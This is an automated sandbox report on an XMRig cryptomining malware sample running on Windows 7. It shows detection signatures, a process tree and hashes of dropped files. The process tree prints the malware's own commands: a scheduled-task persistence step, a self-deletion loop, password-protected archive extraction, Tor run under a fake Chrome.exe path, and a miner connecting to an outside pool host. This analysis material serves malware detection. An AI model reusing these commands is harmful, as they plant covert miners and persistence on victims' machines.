Overview

overview

10

Static

static

5

a3d0d87470...55.exe

windows10-1703-x64

7

a3d0d87470...55.exe

windows7-x64

10

a3d0d87470...55.exe

windows10-1703-x64

7

a3d0d87470...55.exe

windows10-2004-x64

10

a3d0d87470...55.exe

windows11-21h2-x64

10

Resubmissions

17/04/2024, 11:57

240417-n4jygadh8810

17/04/2024, 11:56

240417-n4jbyafe3y10

17/04/2024, 11:56

240417-n4bbbsdh8210

17/04/2024, 11:56

240417-n4ad2afe3v10

17/04/2024, 11:56

240417-n3939sdh7710

17/04/2024, 06:22

240417-g47k7sfg4710

Analysis

  • max time kernel
    1201s
  • max time network
    1204s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    17/04/2024, 11:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    a3d0d874700f493debbcd3515ba28645deb565004121c6f5643502863c122355.exe
  • Size 16.0MB
  • Sample240417-n4bbbsdh82
  • SHA256 a3d0d874700f493debbcd3515ba28645deb565004121c6f5643502863c122355
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xmrigminer

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Deletes itself 1 IoCs
  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 13 IoCs
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • NTFS ADS 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\a3d0d874700f493debbcd3515ba28645deb565004121c6f5643502863c122355.exe
    "C:\Users\Admin\AppData\Local\Temp\a3d0d874700f493debbcd3515ba28645deb565004121c6f5643502863c122355.exe"
    1⤵
    • Loads dropped DLL
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:768
    • C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
      C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt e -p"JDQJndnqwdnqw2139dn21n3b312idDQDB" "C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt" -o"C:\Users\Admin\AppData\Local\Temp\"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2544
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
        3⤵
        • Creates scheduled task(s)
        PID:2416
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c For /L %i In (0,0,0) Do (del "C:\Users\Admin\AppData\Local\Temp\A3D0D8~1.EXE"&&timeout /t 0&&if not exist "C:\Users\Admin\AppData\Local\Temp\A3D0D8~1.EXE" exit)
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2464
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 0
        3⤵
        • Delays execution with timeout.exe
        PID:3012
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {DEDC29F8-24CD-4D2F-B28E-F259B673DA64} S-1-5-21-406356229-2805545415-1236085040-1000:IKJSPGIM\Admin:Interactive:[1]
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2592
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:2676
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • NTFS ADS
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:440
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
          7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:552
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe" -f TorConfig
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2912
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
          7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\"
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:912
        • C:\Windows\System32\attrib.exe
          -o stratum+tcp://fgnfdbxjr.xyz:5040 -u -p x -t 4
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Views/modifies file attributes
          PID:1420
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:1904
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2400
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2644
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:1068
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2168
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:688
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2256
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1932
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2576
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2616
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2532
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1204
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2644
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2516
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2840
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2740
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        • Suspicious use of SendNotifyMessage
        PID:2164
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2232
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:1524
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:856
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:2280
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:2216
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:2168
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:868
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:1348
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:2424
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:2452
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:1680
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:2968
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:1784
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:2972
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:400
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:2180
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:992
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:2312
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:2016
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:1996
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:2112
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:2272
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:2912
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:1988
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:3000
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:1964
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:2684
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:2576
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:2452
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:2340
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:1096
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:2704
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:400
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:2976
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:1976
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:1516
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:3068
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
        • Executes dropped EXE
        PID:2456
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
      2⤵
      • Executes dropped EXE
      PID:2324
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck91936
        3⤵
          PID:2580
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck
        2⤵
        • Executes dropped EXE
        PID:2112

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          32.exe
          • Path C:\Users\Admin\AppData\Local\Temp\32.exe
          • Size 7.4MB
          • SHA256 c995e1ef940d032f41145284cac8d9c31482607deb12f33f1f719e717472004f
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          64.exe
          • Path C:\Users\Admin\AppData\Local\Temp\64.exe
          • Size 8.4MB
          • SHA256 c67b634151c7759ebdad2ead23447a5c6aec53ccc7191d99250193f21e4916cc
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          CR_Debug_Log.txt
          • Path C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt
          • Size 14.6MB
          • SHA256 5b743067fbde46e8fe7739b3ec5d252a8cb3175984961acacd877290cb795760
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          SystemCheck.xml
          • Path C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml
          • Size 2KB
          • SHA256 65f9647986a19ab09709a1e45e3e2a8a59de6a34d13762ec84d2ab8a3aa4cbbb
          • MD5 SHA1 SHA512
          Submit Download

          asacpiex.dll
          • Path C:\Users\Admin\AppData\Local\Temp\asacpiex.dll
          • Size 14.6MB
          • SHA256 448eda4285eca0473467b861fefc00f14ac901a8864aae5dd380bcbdbaf0cab1
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          SysBackup.tmp
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp
          • Size 11KB
          • SHA256 022213846909ee3d3c416fab54971fdd0ba2e4862621338a17c0c62dd23b1822
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          SysBackup.tmp
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp
          • Size 2.5MB
          • SHA256 312df91987797995dead8721129fed7784d13c6ab7c7dc7bb70f552a16945b05
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          SysBackup.txt
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.txt
          • Size 15.6MB
          • SHA256 709f14af463e20e1853f728e1816e284e1ade53e83d65560526f8b8b6a43ef32
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          Tor.tmp
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp
          • Size 2.5MB
          • SHA256 9a78c80e93bd1ed3d71eb090465e39a69470cd1812fc5e169d8b412e8c665963
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          cached-certs
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-certs
          • Size 20KB
          • SHA256 a92c8b125359d507e022312da26b3cc592bc2760e8b04fecbfffe551ebe776f1
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          cached-microdesc-consensus.tmp
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdesc-consensus.tmp
          • Size 2.6MB
          • SHA256 b8ac5707fb24e123ee2bb53e97cfb166b3e86f1ee46b36bef7c41cf0f58047fd
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          cached-microdescs.new
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdescs.new
          • Size 8.5MB
          • SHA256 7cd39f9ad2602cbff9b9fe099302985e9ffecb20c41b7497d5fd7151cafdda6e
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          cached-microdescs.new
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdescs.new
          • Size 20.3MB
          • SHA256 759da88c04bd5528d85c5fa639da2426f328123f7449681a8302055bc71e4d44
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          state
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\state
          • Size 4KB
          • SHA256 4ba403f26ed8cd28f94f8041469fbedc8dfd03d2e731761a3c6f9f81646d7dd0
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          Tor.pid
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorData\Tor.pid
          • Size 6B
          • SHA256 989c7ca524bea29b9d5e629203aebc6870173114f825bf5dfb78fb57898057c1
          • MD5 SHA1 SHA512
          Submit Download

          TorConfig
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorData\TorConfig
          • Size 201B
          • SHA256 69d57bfb46ef8097c1cfca65885790421d0e0965b7778f165cd7df9368807776
          • MD5 SHA1 SHA512
          Submit Download

          libevent-2-1-7.dll
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent-2-1-7.dll
          • Size 974KB
          • SHA256 98d06628e3d9c8097d239722e83ad78eb0b41b1e2f54d50a500da6d9292ff747
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          libevent_core-2-1-7.dll
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent_core-2-1-7.dll
          • Size 646KB
          • SHA256 d6a7d46f6fc803b50460d03c0bc14f2f128ee2becabcf1713715bcebf13ee75b
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          libevent_extra-2-1-7.dll
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent_extra-2-1-7.dll
          • Size 657KB
          • SHA256 ec52e90c68dd0e7603df3f9fe6c909d019a7e94dc3ce0efd8baf67864a43b74b
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          libgcc_s_seh-1.dll
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libgcc_s_seh-1.dll
          • Size 1.1MB
          • SHA256 b94b8981f8110944c5b03c9cba4066e9d0daa13687dead387bcbc772132c6d24
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          libssl-1_1-x64.dll
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libssl-1_1-x64.dll
          • Size 965KB
          • SHA256 38200438cf0c9c20d17e5b9030d2ad2e4a1b6b9dc41c287bc603dd50d22e67bb
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          libssp-0.dll
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libssp-0.dll
          • Size 313KB
          • SHA256 c6dca12e0e896df5f9b2db7a502a50d80d4fb014d7ec2f2ceb897b1a81f46ead
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          libwinpthread-1.dll
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libwinpthread-1.dll
          • Size 608KB
          • SHA256 27b857131977106c4a71ce626225d52a3d6e2932cb6243cb83e47b8d592d0d4f
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          tor.exe
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe
          • Size 4.3MB
          • SHA256 7052619814a614a1b157c5c94a92dbec22b425a0977ac8b21958b8db81e2dd65
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          zlib1.dll
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\zlib1.dll
          • Size 107KB
          • SHA256 da9185e45fdcbee17fcd9292979b20f32aa4c82bc2cb356b4c7278029e247557
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          CL_Debug_Log.txt
          • Path \Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
          • Size 722KB
          • SHA256 ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          libcrypto-1_1-x64.dll
          • Path \Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libcrypto-1_1-x64.dll
          • Size 3.4MB
          • SHA256 af682ad107cf0e9d9f11adeaf88f817610988b56577c4020897debc0f98e26ff
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          memory/552-44-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp
          Download

          memory/552-51-0x0000000000060000-0x0000000000183000-memory.dmp
          Download

          memory/552-50-0x0000000000060000-0x0000000000183000-memory.dmp
          Download

          memory/552-73-0x0000000000060000-0x0000000000183000-memory.dmp
          Download

          memory/552-42-0x0000000000060000-0x0000000000183000-memory.dmp
          Download

          memory/552-46-0x0000000000060000-0x0000000000183000-memory.dmp
          Download

          memory/768-24-0x0000000000210000-0x0000000000211000-memory.dmp
          Download

          memory/768-28-0x0000000000340000-0x0000000000341000-memory.dmp
          Download

          memory/768-27-0x0000000000330000-0x0000000000331000-memory.dmp
          Download

          memory/768-26-0x0000000000220000-0x0000000000221000-memory.dmp
          Download

